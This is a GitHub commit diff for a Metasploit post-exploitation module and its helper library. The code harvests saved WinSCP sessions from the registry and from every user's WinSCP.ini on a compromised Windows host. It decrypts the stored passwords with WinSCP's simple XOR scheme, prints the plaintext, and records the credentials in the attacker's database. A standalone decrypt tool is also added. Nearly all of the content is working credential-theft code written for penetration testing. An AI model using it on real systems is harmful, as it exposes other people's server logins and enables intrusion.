Skip to content

Commit deb6f56

Browse files
committed
Update WinSCP Gather
* Refactor parsing to common library to support command line tool * Look in APPDATA not just ProgramFiles * Iterate over user APPDATA
1 parent 49d3b27 commit deb6f56

File tree

3 files changed

+175
-110
lines changed

3 files changed

+175
-110
lines changed

lib/rex/parser/winscp.rb

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
require 'rex/parser/ini'
2+
3+
module Rex
4+
module Parser
5+
module WinSCP
6+
def read_and_parse_ini(filename)
7+
file = File.read(filename)
8+
return if file.to_s.empty?
9+
parse_ini(file)
10+
end
11+
12+
def parse_protocol(fsprotocol)
13+
case fsprotocol.to_i
14+
when 5 then 'FTP'
15+
when 0 then 'SSH'
16+
else
17+
'Unknown'
18+
end
19+
end
20+
21+
def parse_ini(file)
22+
results = []
23+
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
24+
25+
ini = Rex::Parser::Ini.from_s(file)
26+
27+
if ini['Configuration\\Security']
28+
# if a Master Password is in use we give up
29+
if ini['Configuration\\Security']['MasterPassword'].to_i == 1
30+
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
31+
end
32+
end
33+
34+
# Runs through each group in the ini file looking for all of the Sessions
35+
ini.each_key do |group|
36+
if group.include?('Sessions') && ini[group].has_key?('Password')
37+
# Decrypt our password, and report on results
38+
encrypted_password = ini[group]['Password']
39+
user = ini[group]['UserName']
40+
host = ini[group]['HostName']
41+
sname = parse_protocol(ini[group]['FSProtocol'])
42+
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
43+
44+
results << {
45+
hostname: host,
46+
password: plaintext,
47+
portnumber: ini[group]['PortNumber'] || 22,
48+
username: user,
49+
protocol: sname
50+
}
51+
end
52+
end
53+
54+
results
55+
end
56+
57+
def decrypt_next_char
58+
pwalg_simple_magic = 0xA3
59+
pwalg_simple_string = "0123456789ABCDEF"
60+
61+
# Decrypts the next character in the password sequence
62+
if @password.length > 0
63+
# Takes the first char from the encrypted password and finds its position in the
64+
# pre-defined string, then left shifts the returned index by 4 bits
65+
unpack1 = pwalg_simple_string.index(@password[0,1])
66+
unpack1 = unpack1 << 4
67+
68+
# Takes the second char from the encrypted password and finds its position in the
69+
# pre-defined string
70+
unpack2 = pwalg_simple_string.index(@password[1,1])
71+
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
72+
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
73+
# Strips the first two chars off and returns our result
74+
@password = @password[2,@password.length]
75+
return result
76+
end
77+
end
78+
79+
def decrypt_password(pwd, key)
80+
pwalg_simple_flag = 0xFF
81+
@password = pwd
82+
flag = decrypt_next_char()
83+
84+
if flag == pwalg_simple_flag
85+
decrypt_next_char()
86+
length = decrypt_next_char()
87+
else
88+
length = flag
89+
end
90+
ldel = (decrypt_next_char())*2
91+
@password = @password[ldel,@password.length]
92+
93+
result = ""
94+
length.times do
95+
result << decrypt_next_char().chr
96+
end
97+
98+
if flag == pwalg_simple_flag
99+
result = result[key.length, result.length]
100+
end
101+
102+
result
103+
end
104+
end
105+
end
106+
end

modules/post/windows/gather/credentials/winscp.rb

Lines changed: 56 additions & 110 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# post/windows/gather/enum_vnc_pw.rb
2-
31
##
42
# This module requires Metasploit: http://metasploit.com/download
53
# Current source: https://github.com/rapid7/metasploit-framework
@@ -8,13 +6,15 @@
86
require 'msf/core'
97
require 'rex'
108
require 'rex/parser/ini'
9+
require 'rex/parser/winscp'
1110
require 'msf/core/auxiliary/report'
1211

1312
class Metasploit3 < Msf::Post
1413
include Msf::Post::Windows::Registry
1514
include Msf::Auxiliary::Report
1615
include Msf::Post::Windows::UserProfiles
1716
include Msf::Post::File
17+
include Rex::Parser::WinSCP
1818

1919
def initialize(info={})
2020
super(update_info(info,
@@ -73,14 +73,21 @@ def get_reg
7373
portnum = 22
7474
end
7575

76-
winscp_store_config(
77-
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
78-
'HostName' => registry_getvaldata(active_session, 'HostName') || "",
79-
'Password' => password,
80-
'PortNumber' => portnum,
81-
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
82-
)
83-
76+
encrypted_password = password
77+
user = registry_getvaldata(active_session, 'UserName') || ""
78+
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
79+
sname = parse_protocol(fsprotocol)
80+
host = registry_getvaldata(active_session, 'HostName') || ""
81+
82+
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
83+
84+
winscp_store_config({
85+
hostname: host,
86+
username: user,
87+
password: plaintext,
88+
portnumber: portnum,
89+
protocol: sname
90+
})
8491
end
8592

8693
if savedpwds == 0
@@ -96,121 +103,60 @@ def get_reg
96103

97104
end
98105

106+
def run
107+
print_status("Looking for WinSCP.ini file storage...")
99108

100-
def get_ini(filename)
101-
print_error("Looking for #{filename}.")
102-
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
103-
parse = read_file(filename)
104-
if parse.nil?
105-
print_error("WinSCP.ini file NOT found...")
106-
return
109+
# WinSCP is only x86...
110+
if sysinfo['Architecture'] == 'x86'
111+
prog_files_env = 'ProgramFiles'
112+
else
113+
prog_files_env = 'ProgramFiles(x86)'
107114
end
115+
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
108116

109-
print_status("Found WinSCP.ini file...")
110-
ini = Rex::Parser::Ini.from_s(parse)
117+
user_dir = "#{env['APPDATA']}\\..\\.."
118+
user_dir << "\\.." if user_dir.include?('Users')
111119

112-
# if a Master Password is in use we give up
113-
if ini['Configuration\\Security']['MasterPassword'] == '1'
114-
print_status("Master Password Set, unable to recover saved passwords!")
115-
return nil
120+
users = dir(user_dir)
121+
users.each do |user|
122+
next if user == "." || user == ".."
123+
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
124+
vprint_status("Looking for #{app_data}...")
125+
get_ini(app_data) if file?(app_data)
116126
end
117127

118-
# Runs through each group in the ini file looking for all of the Sessions
119-
ini.each_key do |group|
120-
if group.include?('Sessions') && ini[group].has_key?('Password')
121-
winscp_store_config(
122-
'FSProtocol' => ini[group]['FSProtocol'],
123-
'HostName' => ini[group]['HostName'],
124-
'Password' => ini[group]['Password'],
125-
'PortNumber' => ini[group]['PortNumber'] || 22,
126-
'UserName' => ini[group]['UserName'],
127-
)
128+
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
128129

129-
end
130-
end
131-
end
132-
133-
def decrypt_next_char
134-
135-
pwalg_simple_magic = 0xA3
136-
pwalg_simple_string = "0123456789ABCDEF"
137-
138-
# Decrypts the next character in the password sequence
139-
if @password.length > 0
140-
# Takes the first char from the encrypted password and finds its position in the
141-
# pre-defined string, then left shifts the returned index by 4 bits
142-
unpack1 = pwalg_simple_string.index(@password[0,1])
143-
unpack1 = unpack1 << 4
144-
145-
# Takes the second char from the encrypted password and finds its position in the
146-
# pre-defined string
147-
unpack2 = pwalg_simple_string.index(@password[1,1])
148-
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
149-
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
150-
# Strips the first two chars off and returns our result
151-
@password = @password[2,@password.length]
152-
return result
153-
end
130+
get_ini(program_files) if file?(program_files)
154131

132+
print_status("Looking for Registry storage...")
133+
get_reg
155134
end
156135

157-
158-
159-
def decrypt_password(pwd, key)
160-
pwalg_simple_flag = 0xFF
161-
@password = pwd
162-
flag = decrypt_next_char()
163-
164-
if flag == pwalg_simple_flag
165-
decrypt_next_char()
166-
length = decrypt_next_char()
167-
else
168-
length = flag
169-
end
170-
ldel = (decrypt_next_char())*2
171-
@password = @password[ldel,@password.length]
172-
173-
result = ""
174-
length.times do
175-
result << decrypt_next_char().chr
136+
def get_ini(file_path)
137+
print_good("WinSCP.ini located at #{file_path}")
138+
file = read_file(file_path)
139+
parse_ini(file).each do |res|
140+
winscp_store_config(res)
176141
end
177-
178-
if flag == pwalg_simple_flag
179-
result = result[key.length, result.length]
180-
end
181-
182-
result
183-
end
184-
185-
def run
186-
print_status("Looking for WinSCP.ini file storage...")
187-
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
188-
print_status("Looking for Registry Storage...")
189-
get_reg()
190-
print_status("Done!")
191142
end
192143

193144
def winscp_store_config(config)
194-
host = config['HostName']
195-
pass = config['Password']
196-
portnum = config['PortNumber']
197-
proto = config['FSProtocol']
198-
user = config['UserName']
199-
200-
sname = case proto.to_i
201-
when 5 then "FTP"
202-
when 0 then "SSH"
203-
end
145+
begin
146+
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
147+
ip = res[:ip] if res
148+
rescue Rex::Post::Meterpreter::RequestError => e
149+
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
150+
ensure
151+
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
152+
end
204153

205-
# Decrypt our password, and report on results
206-
plaintext = decrypt_password(pass, user+host)
207-
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
154+
return unless ip
208155

209156
service_data = {
210-
# XXX This resolution should happen on the victim side instead
211-
address: ::Rex::Socket.getaddress(host),
212-
port: portnum,
213-
service_name: sname,
157+
address: ip,
158+
port: config[:portnumber],
159+
service_name: config[:protocol],
214160
protocol: 'tcp',
215161
workspace_id: myworkspace_id,
216162
}
@@ -220,8 +166,8 @@ def winscp_store_config(config)
220166
session_id: session_db_id,
221167
post_reference_name: self.refname,
222168
private_type: :password,
223-
private_data: plaintext,
224-
username: user
169+
private_data: config[:password],
170+
username: config[:username]
225171
}.merge(service_data)
226172

227173
credential_core = create_credential(credential_data)

tools/winscp_decrypt.rb

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#!/usr/bin/env ruby
2+
3+
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
4+
require 'rex/parser/winscp'
5+
6+
exit unless ARGV.count == 1
7+
8+
include Rex::Parser::WinSCP
9+
10+
puts ARGV.first
11+
read_and_parse_ini(ARGV.first).each do |res|
12+
puts res.inspect
13+
end

0 commit comments

Comments
 (0)